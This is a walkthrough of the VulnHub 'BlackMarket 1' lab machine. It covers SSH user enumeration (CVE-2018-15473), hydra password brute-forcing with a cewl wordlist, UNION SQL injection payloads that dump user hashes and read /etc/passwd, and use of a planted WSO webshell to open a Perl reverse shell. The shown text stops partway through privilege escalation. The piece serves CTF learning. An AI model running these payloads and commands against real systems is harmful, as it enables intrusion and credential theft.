the_open_door
coffee
ESEN

BlackMarket 1

VulnHubEasyLinux192.168.1.195

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#ssh-user-enum#cve-2018-15473#cewl#hydra#brute-force#union-sqli#hash-cracking#md5#squirrelmail#steganography#substitution-cipher#credential-reuse#sudo#privesc
TL;DR. A long, very "breadcrumb-driven" box. The source hides a base64 blob (CIA - Operation Treadstone) pointing at the Bourne characters, and with those names an SSH user enumeration confirms nicky. A wordlist built with cewl + hydra gets his FTP password; there a hint points to /vworkshop, where a UNION SQLi dumps MD5 hashes that get cracked (admin:BigBossCIA). That login hands over the SquirrelMail credential, whose encrypted draft is solved with quipqiup and leads to a backdoor whose password is hidden inside an image. The backdoor gives a revshell, and a .Secret holding dimitri's password (a member of the sudo group) finishes the box.

Recon

Host discovery

The box is a VulnHub image living on the local network, so the first step is not scanning ports but finding the IP. An ARP sweep over the segment pulls it out along with the neighbours, and the only entry with a VMware MAC is ours:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan lists the hosts on the segment; 192.168.1.195 shows up with a VMware, Inc. MAC

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.136   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.138   f4:03:2a:28:e7:36   Amazon Technologies Inc.
192.168.1.195   00:0c:29:50:a0:77   VMware, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.741 seconds (93.40 hosts/sec). 10 responded

Target: 192.168.1.195.

ping -c 1 192.168.1.195

ping -c 1 192.168.1.195 with one reply, icmp_seq=1 ttl=64 time=1.14 ms and 0% packet loss

PING 192.168.1.195 (192.168.1.195) 56(84) bytes of data.
64 bytes from 192.168.1.195: icmp_seq=1 ttl=64 time=1.14 ms

--- 192.168.1.195 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.136/1.136/1.136/0.000 ms

TTL 64 → Linux (Windows answers with 128). A hint, not proof: every routing hop decrements it.

Initial scan

The full port scan uncovers seven services, including the whole mail stack:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.195 -oG scan

nmap -p- against 192.168.1.195: finds ports 21, 22, 80, 110, 143, 993 and 995 open, with 65528 filtered ports

Discovered open port 995/tcp on 192.168.1.195
Discovered open port 993/tcp on 192.168.1.195
Discovered open port 143/tcp on 192.168.1.195
Discovered open port 80/tcp on 192.168.1.195
Discovered open port 21/tcp on 192.168.1.195
Discovered open port 110/tcp on 192.168.1.195
Discovered open port 22/tcp on 192.168.1.195
Completed SYN Stealth Scan at 19:04, 26.35s elapsed (65535 total ports)
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
21/tcp  open  ftp     syn-ack ttl 64
22/tcp  open  ssh     syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 64
110/tcp open  pop3    syn-ack ttl 64
143/tcp open  imap    syn-ack ttl 64
993/tcp open  imaps   syn-ack ttl 64
995/tcp open  pop3s   syn-ack ttl 64
MAC Address: 00:0C:29:50:A0:77 (VMware)

The -oG scan file the scan leaves behind is summarised by extractPorts, another ~/.zshrc function that pulls out the IP and the port list and drops them on the clipboard:

extractPorts scan

extractPorts boils the scan down: IP 192.168.1.195 and open ports 21,22,80,110,143,993,995

Extracting information ...
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995

Ports copied to clipboard

IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995

The remaining 65528 come back as filtered (no-response), not closed. That does not necessarily mean a firewall: nmap warns about it itself with Some closed ports may be reported as filtered due to --defeat-rst-ratelimit, because the target's kernel rate-limits RST packets and at --min-rate 5000 replies get lost. It is an artefact of the speed, not a finding.

nmap -p21,22,80,110,143,993,995 -sCV 192.168.1.195

nmap -sCV on the seven ports: vsftpd 3.0.2, OpenSSH 6.6.1p1, Apache 2.4.7 with the title "BlackMarket Weapon Management System" and Dovecot on the four mail ports

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.2
22/tcp  open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
|   2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
|   256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_  256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp  open  http     Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BlackMarket Weapon Management System
110/tcp open  pop3     Dovecot pop3d
143/tcp open  imap     Dovecot imapd
993/tcp open  ssl/imap Dovecot imapd
995/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:A0:77 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Two facts shape the whole box:

  • OpenSSH 6.6.1p1, from Ubuntu 14.04. It predates 7.7, which is where CVE-2018-15473 was fixed: the leak that lets you tell valid usernames from invalid ones. Noted.
  • Four Dovecot ports (POP3, IMAP and their TLS variants). Four mail ports on a machine that also serves a website implies local mailboxes exist and, very likely, a webmail somewhere. We cannot see where yet, but the attack surface is declared from minute one.

whatweb describes the site on 80:

whatweb 192.168.1.195

whatweb against port 80: Apache 2.4.7, Bootstrap, a PHPSESSID cookie, a PasswordField and the title "BlackMarket Weapon Management System"

http://192.168.1.195 [200 OK] Apache[2.4.7], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
  HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.1.195], JQuery,
  PasswordField[password], Script, Title[BlackMarket Weapon Management System], X-UA-Compatible[IE=edge]

The browser's Wappalyzer extension confirms and extends the same picture from the client side:

Wappalyzer over the BlackMarket Login panel: Ubuntu, Apache 2.4.7, PHP, Bootstrap 3.3.7, jQuery 3.1.0 and DataTables 1.10.12

Operating systems: Ubuntu
Web servers: Apache HTTP Server 2.4.7
Programming languages: PHP
JavaScript libraries: DataTables 1.10.12, jQuery 3.1.0
UI frameworks: Bootstrap 3.3.7
Font scripts: Font Awesome

A login panel (PasswordField) and nothing else in sight. When a site only offers a form, the next place to look is the raw HTML.

The hint in the source

view-source:http://192.168.1.195/

The page source ends with an HTML comment: flag1 followed by a base64 string

    </form>
    ...
    <script>
        $(document).ready(function(){ ... });
    </script><!--
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
</body>
</html>

A flag1 tucked into an HTML comment at the very end of the document, holding what looks like base64 (it ends in =, alphanumeric alphabet). The string is selected and copied straight out of the source viewer:

the base64 string selected inside view-source, with the context menu and its Copy entry

echo 'Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=' | base64 -d

the echo piped through base64 -d returns CIA - Operation Treadstone

CIA - Operation Treadstone

Operation Treadstone is the fictional programme from the Bourne films. Looking it up lands on the Bourne wiki entry, whose Personnel section is literally a list of names:

the Operation Treadstone entry on bourne.fandom.com, its Personnel section listing Richard Webb, Ward Abbott, Alexander Conklin, Albert Hirsch, Neil Daniels, Nicky Parsons and Daniel Zorn

Personnel
Richard Webb - Creator and Founder, stationed in Beirut, Lebanon.
Ward Abbott - Head of Operations.
Alexander Conklin - Field Director, stationed in Langley, Virginia.
Albert Hirsch - Director of the Treadstone training programme.
Neil Daniels - Training Supervisor.
Nicky Parsons - Field logistics coordinator and agent handler, stationed in Paris, France.
Daniel Zorn - Assistant to Conklin and later to Abbott.

That same URL will later be cewl's input. For now what matters are the first names: Richard, Ward, Alexander, Albert, Neil, Nicky, Daniel. That is not trivia: it is a candidate username list obtained from context, which is exactly what the old OpenSSH from the scan needs.

Initial access

SSH user enumeration

CVE-2018-15473 abuses the fact that the vulnerable OpenSSH handles a malformed authentication packet differently depending on whether the user exists: with a non-existent user it drops the connection immediately, with a valid one it carries on. The public exploit automates it:

searchsploit ssh user enumeration
searchsploit -m linux/remote/45939.py
mv 45939.py ssh_user_enumeration.py
python2.7 ssh_user_enumeration.py 192.168.1.195 <user> 2>/dev/null

The 45939.py exploit testing albert, alexander, neil, nicky, daniel, ward and richard; only "nicky is a valid username"

[-] albert is an invalid username
[-] alexander is an invalid username
[-] neil is an invalid username
[+] nicky is a valid username
[-] daniel is an invalid username
[-] ward is an invalid username
[-] richard is an invalid username

Out of the seven names from the films, only nicky exists on the system. Without the base64 hint this enumeration would have had no names to try; without the old SSH, the hint could not have been confirmed. Both pieces need each other.

What rockyou did not find

With a valid username, the obvious move first: hydra with rockyou against FTP (SSH is ruled out as the target because failing there is noisier and slower).

hydra -l nicky -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.195 -t 50

hydra with rockyou against FTP: 14344399 attempts at 843 per minute, estimating 283:35 hours, aborted with Ctrl+C

[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344399 login tries (l:1/p:14344399), ~286888 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[STATUS] 843.00 tries/min, 843 tries in 00:01h, 14343555 to do in 283:35h, 50 active
[STATUS] 876.67 tries/min, 2630 tries in 00:03h, 14341769 to do in 272:40h, 50 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

This attempt is worth showing even though it fails, because the numbers explain everything: 14,344,399 passwords at ~850 per minute is 283 hours, almost twelve days. The server will not go faster, so generic brute force is not viable here. We abort.

A wordlist built to measure

If rockyou will not do, the wordlist has to come from the box's own theme. cewl crawls a page and extracts its words; we point it at the Bourne wiki entry for Operation Treadstone:

cewl -w dir.txt https://bourne.fandom.com/wiki/Operation_Treadstone -d 1
wc -l dir.txt

cewl 6.2.1 generating dir.txt from the Operation Treadstone wiki; wc -l returns 8283 words

CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
8283 dir.txt

8283 words against 14 million. And this time it lands:

hydra -l nicky -P dir.txt ftp://192.168.1.195 -t 50 -I

hydra with the cewl wordlist finds the ftp credential: host 192.168.1.195, login nicky, password CIA

[DATA] max 50 tasks per 1 server, overall 50 tasks, 8283 login tries (l:1/p:8283), ~166 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[21][ftp] host: 192.168.1.195   login: nicky   password: CIA

nicky:CIA. The password was not even exotic, and rockyou would have found it too: the problem was ordering, not content. A 8283-word themed list finishes in seconds where a 14-million one takes days.

For completeness the attack was repeated with all seven wiki names instead of just nicky, to rule out any other account with a weak password:

echo -e "richard\nward\nalexander\nalbert\nneil\nnicky\ndaniel" > users.txt
cat users.txt
hydra -L users.txt -P dir.txt ftp://192.168.1.195 -t 50 -I

users.txt with the seven names and hydra hammering the FTP with 57981 combinations

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 50 tasks per 1 server, overall 50 tasks, 57981 login tries (l:7/p:8283), ~1160 tries per task
[DATA] attacking ftp://192.168.1.195:21/

Seven times the attempts and the same single result: nicky's is the only valid credential.

FTP: the first breadcrumb

ftp 192.168.1.195

FTP session as nicky: browsing to ftp/ImpFiles, downloading IMP.txt, and the cat showing flag2 plus the message about the "CIA blackmarket Vehical workshop"

Connected to 192.168.1.195.
220 (vsFTPd 3.0.2)
Name (192.168.1.195:krmena): nicky
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
dr-xr-xr-x    3 65534    65534        4096 Nov 06  2017 ftp
ftp> cd ftp
ftp> dir
drwxr-xr-x    2 1002     1002         4096 Nov 09  2017 ImpFiles
ftp> cd ImpFiles
ftp> dir
-rw-r--r--    1 0        0             216 Nov 12  2017 IMP.txt
ftp> get IMP.txt
226 Transfer complete.
216 bytes received in 00:00 (86.76 KiB/s)
ftp> exit
$ cat IMP.txt
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}

If anyone reading this message it means you are on the right track however I do not have any idea about the
 CIA blackmarket Vehical workshop. You must find out and hack it!
echo -n "Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy" | base64 -d
cat IMP.txt

the flag2 base64 decodes to Congrats Proceed Further and the cat of IMP.txt shows the full message

Congrats Proceed Further

The flag says nothing useful, but the text does: "CIA blackmarket Vehical workshop", typo included. That is a path name dressed up as a sentence.

A two-word wordlist

There is no need to fuzz with a generic list when the target itself handed over the name. We write out the plausible combinations of "vehical" and "workshop" and try them:

echo "vehicalworkshop\nvworkshop\nvw\nvehicalshop\nworkshop\nshop" > diccionario.txt
wfuzz -u http://192.168.1.195/FUZZ -w diccionario.txt --hc=404

wfuzz with the 6-word list: out of 6 requests it filters 5 and returns a 301 for "vworkshop"

Target: http://192.168.1.195/FUZZ
Total requests: 6

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000002:   301        9 L      28 W       317 Ch      "vworkshop"

Total time: 0
Processed Requests: 6
Filtered Requests: 5
Requests/sec.: 0

Six requests, one hit: /vworkshop returns a 301 (a redirect, meaning the directory exists and Apache is sending us to its trailing slash). Five of the six were 404s and nothing would have been lost by trying twenty more; what matters is that the name came out of IMP.txt, not out of a wordlist.

Exploitation: UNION SQLi

The spare-part id

/vworkshop is the "BlackMarket Auto WorkShop", a shop with vehicle and spare-part sections. Each part's detail page is requested with a numeric sparepartid in the URL, the classic shape of a parameter that ends up inside an SQL query.

the Spare Parts section of BlackMarket Auto WorkShop showing the abcd spare part with sparepartid=1 highlighted in the URL

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlock

The page paints five distinct fields, and that detail matters: those are the columns the injection will later use as a screen to print data on.

A UNION SQLi needs to know how many columns the original query returns, because UNION demands the same count on both sides. ORDER BY n works that out without seeing the query: it sorts by column n, and fails as soon as n exceeds the real column count.

/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 8-- -

The detail card with ORDER BY 8 comes back empty: no image, no type, no cost, no serial number

Spare part name: abcd spare
Spare parts type :
Cost :
Spare parts serial No. :
Description:

With 8 the card empties out: the query blew up and the page, which does not print the MySQL error, just renders nothing. With 7, on the other hand:

/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 7-- -

The same card with ORDER BY 7 renders fully: the door-lock photo, type Lock, cost 333.00, serial ZXC1 and the description "This is a doorlock"

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlock

The contrast between the two screenshots is double proof: the query has 7 columns and, along the way, that the quote really is being injected (otherwise ORDER BY 8 would have changed nothing). The Spare parts serial No. field is the most readable one, so that is where the payload goes.

Enumerating the database

Schemas first, using group_concat to bring them all back in a single cell:

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   group_concat(schema_name),NULL,NULL FROM information_schema.schemata-- -

The card shows in the serial number field: information_schema,BlackMarket,eworkshop,mysql,performance_schema

Spare parts serial No. :
information_schema,BlackMarket,eworkshop,mysql,performance_schema

The sparepartid=100 does not exist on purpose: that way the original query returns no rows and the only thing rendered is what the UNION brings. Of the five schemas, three are system ones, leaving BlackMarket and eworkshop. The first is the one that gives the box its name.

... group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema="BlackMarket"-- -

The tables in BlackMarket: cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user

cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user
... group_concat(column_name),NULL,NULL FROM information_schema.columns
    WHERE table_schema="BlackMarket" AND table_name="user"-- -

The columns of the user table: userid,username,password,access

userid,username,password,access

Now we know exactly what to ask for. The 0x3A inside group_concat is the : character in hex, used as a separator because a quote inside the payload would break the injection:

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   group_concat(userid,0x3A,username,0x3A,password),NULL,NULL FROM BlackMarket.user-- -

The UNION SQLi dumps the user table with admin:cf18233438b9e88937ea0176f1311885, user:0d8d5cd..., etc.

admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
bladen:cbb8d2a0335c793532f9ad516987a41c

The dump arrives as a single comma-separated line, so it gets split into lines and saved to a file for convenience:

echo "1:admin:cf18233438b9e88937ea0176f1311885,2:user:0d8d5cd06832b29560745fe4e1b941cf,..." \
  | tr ',' '\n' > ../content/creds.txt
cat ../content/creds.txt

the comma-split dump lands in creds.txt with the five user:hash pairs

1:admin:cf18233438b9e88937ea0176f1311885
2:user:0d8d5cd06832b29560745fe4e1b941cf
4:supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
5:jbourne:28267a2e06e312aee91324e2fe8ef1fd
6:bladen :cbb8d2a0335c793532f9ad516987a41c

Five users with what look like MD5 hashes (32 hex characters, no salt in sight). The userid values run 1, 2, 4, 5 and 6: number 3 is missing, a sign some account was deleted at some point. One of them, jbourne, is the saga's protagonist: not a coincidence, and he will come back.

What the same SQLi allowed and we did not need

It is worth recording how far the hole actually went. The MySQL user held the FILE privilege, so the very same injection read files off disk with load_file():

/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
   load_file("/etc/passwd"),NULL,NULL-- -

The same SQLi with load_file("/etc/passwd") dumps the whole file into the serial number field

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
dovecot:x:106:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
...

This box's path does not go that way, but it is the difference between "there is an SQLi" and "there is an SQLi with arbitrary file read on the server", which in a real report changes the severity.

Cracking the MD5s

They are unsalted MD5s, so there is no need to crack them: it is enough to look them up in a database of already-solved hashes, which is what hashes.com does.

The five hashes pasted into the hashes.com form before submitting

hashes.com result: it finds bladen, user:user, supplier:supplier and cf18233438b9e88937ea0176f1311885:BigBossCIA; jbourne is left unsolved

Found:
bladen:nV<?>z
0d8d5cd06832b29560745fe4e1b941cf:user
99b0e8da24e29e4ccb5d7d76e677c2ac:supplier
cf18233438b9e88937ea0176f1311885:BigBossCIA

Left:
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
cbb8d2a0335c793532f9ad516987a41c

Four of five fall: user:user and supplier:supplier are useless, bladen returns a string with non-printable characters, and the good one is admin:BigBossCIA. jbourne is the only one that resists, which fits with him being the main character: his password is in no public table.

The login that hands over the next hint

With admin:BigBossCIA we get into the panel from the start (/login.php):

The BlackMarket login with admin and a popup: "Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????"

Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????
echo -n "bm90aGluZyBpcyBoZXJl" | base64 -d

the popup with flag4 and, below it, the base64 -d of the string returning nothing is here

nothing is here

The flag says it literally: there is nothing there. What matters is the rest of the sentence, "Jason Bourne Email access ?????". Two readings are possible: either those are question marks meaning "I do not know which", or they are the password. And it fits what came before: jbourne is precisely the hash that would not crack, because ????? appears in no rainbow table. All that is missing is the webmail to use it on, which is what the four Dovecot ports were hinting at.

Web pivoting: SquirrelMail and the backdoor

Finding the webmail

dirsearch -u http://192.168.1.195 --exclude-status=404,403

dirsearch on port 80 with 11460 words: it finds /admin, /css, /db, /dist, /header.php, /login.php, /squirrelmail, /upload and /user

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

[21:25:34] 301 -  313B  - /admin  ->  http://192.168.1.195/admin/
[21:25:34] 302 -    0B  - /admin/  ->  ../index.php
[21:25:35] 302 -    0B  - /admin/index.php  ->  ../index.php
[21:25:47] 301 -  311B  - /css  ->  http://192.168.1.195/css/
[21:25:47] 301 -  310B  - /db  ->  http://192.168.1.195/db/
[21:25:48] 301 -  312B  - /dist  ->  http://192.168.1.195/dist/
[21:25:53] 200 -  457B  - /header.php
[21:25:57] 200 -    0B  - /login.php
[21:26:13] 301 -  320B  - /squirrelmail  ->  http://192.168.1.195/squirrelmail/
[21:26:18] 301 -  314B  - /upload  ->  http://192.168.1.195/upload/
[21:26:18] 301 -  312B  - /user  ->  http://192.168.1.195/user/
Task Completed

There it is: /squirrelmail, the webmail that gives the IMAP/POP3 ports their meaning. The /admin entries redirecting to ../index.php are just the session bouncing us out, not a finding.

The password was five question marks

SquirrelMail 1.4.23 login with Name "jbourne" and Password "?????"

We try jbourne with ????? literally, the five characters from the message. And it works:

The SquirrelMail INBOX.Drafts folder with a draft to putin@kgb.gov.ru titled "IMPORTANT MESSAGE" dated 16 November 2017

Current Folder: INBOX.Drafts
To                     Date            Subject
putin@kgb.gov.ru       Nov 16, 2017    IMPORTANT MESSAGE

The interesting mail is not in the inbox but in Drafts, which is where things that were never sent end up. And the recipient, putin@kgb.gov.ru, already sets the tone of the box.

The encrypted draft

The "IMPORTANT MESSAGE" draft from jbourne to putin@kgb.gov.ru: it holds Flag5 and a block of ciphertext starting with "Sr Wrnrgir / Ru blf ziv ivzwrmt gsrh"

Subject: IMPORTANT MESSAGE
From: jbourne@localhost
To: putin@kgb.gov.ru
Date: Thu, November 16, 2017 9:38 pm

Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}

HELLO Friend,

I have intercept the message from Russian's some how we are working on the same
direction, however, I couldn't able to decode the message.

<Message Begins>

Sr Wrnrgir
Ru blf ziv ivzwrmt gsrh R nrtsg yv mlg zorev. R szev kozxv z yzxpwlli rm Yozxpnzipvg
dliphslk fmwvi /ptyyzxpwlli ulowvi blf nfhg szev gl fhv
KzhhKzhh.qkt rm liwvi gl tvg zxxvhh.

</end>
echo -n "RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=" | base64 -d
Everything is encrypted

The text keeps the structure of an English message (spaces, word lengths, a / that gives away a path), so it is a monoalphabetic substitution, not modern crypto. We paste it into quipqiup, which solves this kind of cipher by letter frequency without needing the key:

quipqiup solving the cryptogram: the top solution reads "If you are reading this I might be not alive. I have place a backdoor in Blackmarket workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access."

Hi Dimitri
If you are reading this I might be not alive. I have place a backdoor in Blackmarket
workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access.

The specific substitution is Atbash (first letter of the alphabet for the last): S→H, r→i, W→D, which is why Sr Wrnrgir is Hi Dimitri. The message hands over three things: the local username (Dimitri, who reappears during the escalation), the path /kgbbackdoor and the file PassPass.jpg.

The path that only holds an image

http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg

The path /vworkshop/kgbbackdoor/PassPass.jpg shows an image with the word "Backdoor" over a background of binary digits

The directory does not list its contents and the image is all we can see. If the message said the image is needed "in order to get access", there has to be something else there to get into:

gobuster dir -u http://192.168.1.195/vworkshop/kgbbackdoor \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

gobuster on /vworkshop/kgbbackdoor finds /backdoor.php with Status 200 after 441130 requests

[+] Wordlist:     /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Extensions:   php

/.php                 (Status: 403) [Size: 306]
/backdoor.php         (Status: 200) [Size: 301]
Progress: 441128 / 441130 (100.00%)
Finished

Out of 441,130 requests, a single 200: /backdoor.php. And opening it shows a 404:

backdoor.php fakes a "Not Found" page from Apache/2.2.22 (Unix), but the inspector reveals a hidden &lt;input type="password" name="pass"&gt; inside a POST form

<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited...</address>
<pre align="center">
  <form method="post">
    <input type="password" name="pass">
  </form>
</pre>

The 404 is fake, and there are two ways to know without reading the code. One: gobuster reports it as Status: 200, not 404, so the server says "OK" while the page says the opposite. Two: the signature at the bottom reads Apache/2.2.22 (Unix) mod_ssl ... mod_bwlimited, which is a CentOS cPanel banner and does not match the Apache/2.4.7 (Ubuntu) nmap reported. It is an error page copy-pasted as camouflage. Inside, invisible in the normal view and located with the inspector, an <input type="password" name="pass">.

Steganography: the backdoor password

PassPass.jpg is what the message said we would need. Before reaching for steganography tools, the first step is always strings: plenty of text gets appended straight to the end of a file, past the image data.

wget http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
strings PassPass.jpg | tail

strings PassPass.jpg reveals "Pass = 5215565757312090656" at the end of the image file

[qh"3
cm+B
.}21
...
Pass = 5215565757312090656

Among the binary noise sits Pass = 5215565757312090656. But that number as-is opens nothing: 19 decimal digits are far too long for a hand-typed password and suspiciously like a number standing in for something else. Converted to hexadecimal:

RapidTables converting the decimal 5215565757312090656 to hexadecimal: 4861696C4B474220

Decimal:      5215565757312090656
Hexadecimal:  4861696C4B474220

16 hex digits = 8 bytes, and every one of them falls in the printable ASCII range (0x48, 0x61, 0x69, 0x6C...). That is no longer a number, it is text:

RapidTables converting the hexadecimal 4861696C4B474220 to ASCII text: HailKGB

Hex:   4861696C4B474220
Text:  HailKGB

HailKGB (the trailing 20 is a space). With it, the fake 404 opens up:

The WSO 2.6 panel after authenticating: Uname Linux Dimitri 4.4.0-31-generic, User 33 (www-data), PHP 5.5.9, Cwd /var/www/html/vworkshop/kgbbackdoor/ and a file manager listing backdoor.php, backdoor1.php, flag.txt and PassPass.jpg

Uname: Linux Dimitri 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64
User: 33 ( www-data )  Group: 33 ( www-data )
Php: 5.5.9-1ubuntu4.22  Safe mode: OFF
Cwd: /var/www/html/vworkshop/kgbbackdoor/

[Sec Info] [Files] [Exec] [Sql] [PHP Tools] [LFI] [Php] [Safe mode] [String tools] [XSS Shell]
[Bruteforce] [Network] [Logout] [Self remove]

Name           Size        Modify                Owner/Group   Permissions
backdoor.php   104.19 KB   2017-11-08 22:17:08   root/root     -rw-r--r--
backdoor1.php  561 B       2017-11-07 21:54:51   root/root     -rw-r--r--
flag.txt       21 B        2017-11-12 19:17:27   root/root     -rw-r--r--
PassPass.jpg   196.38 KB   2017-11-07 22:10:11   root/root     -rw-r--r--

This is no homemade form: it is WSO 2.6, a well-known PHP webshell, complete with file manager, command runner, SQL client and network utilities. The Uname already gives away the hostname, Dimitri, the same name that showed up in the cryptogram.

Revshell from the backdoor

WSO's Network section ships the reverse shell ready to go (a Perl back-connect it drops at /tmp/bc.pl), so all we supply is IP and port. Listener first:

nc -nlvp 443

The WSO panel on "Network tools" with the perl Back-connect to 192.168.1.80 port 443, and on the right the nc listener catching the shell as www-data

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

The panel header had already given away the context (User: 33 ( www-data ), Cwd: /var/www/html/vworkshop/kgbbackdoor/), and whoami confirms it. The can't access tty warns that the shell is not interactive yet.

Privilege escalation

Upgrading the TTY

Before enumerating anything the shell needs fixing: with no TTY there is no Ctrl+C without dying, no history, and no su (which insists on a real terminal to prompt for a password). The upgrade is the usual two-step: first open a bash with a TTY inside the session and background it, then put the local terminal in raw mode and bring the job back.

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg

the tty-less shell becomes a bash through script, is suspended with Ctrl+Z and resumed with stty raw -echo and fg

connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ^Z
zsh: suspended  nc -nlvp 443
[1]  + continued  nc -nlvp 443
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$

What is left is fixing the size (otherwise long lines wrap in the wrong place) and declaring the terminal type, which is what brings colour and makes editors usable:

stty size            # on the attacker machine
stty rows 49 cols 236
export TERM=xterm SHELL=bash

stty size returns 49 236 and TERM=xterm plus SHELL=bash are exported in the victim session

www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ stty size
49 236

The hostname peeking out of the prompt, Dimitri, is already a hint in itself. And with a usable shell, an ls -la over /home shows what a plain ls was hiding:

alias ls="ls -la"
cd /home && ls

the ls -la of /home uncovers a hidden .Mylife directory next to the dimitri and nicky homes

total 20
drwxr-xr-x  5 root    root    4096 Nov 16  2017 .
drwxr-xr-x 22 root    root    4096 Nov  1  2017 ..
drwxrwxr-x  2 dimitri dimitri 4096 Nov 16  2017 .Mylife
drwxr-xr-x  4 dimitri dimitri 4096 Nov 16  2017 dimitri
dr-xr-xr-x  4 nicky   nicky   4096 Nov  6  2017 nicky

Leak in /home/.Mylife/.Secret

/home holds a hidden .Mylife directory with a .Secret inside:

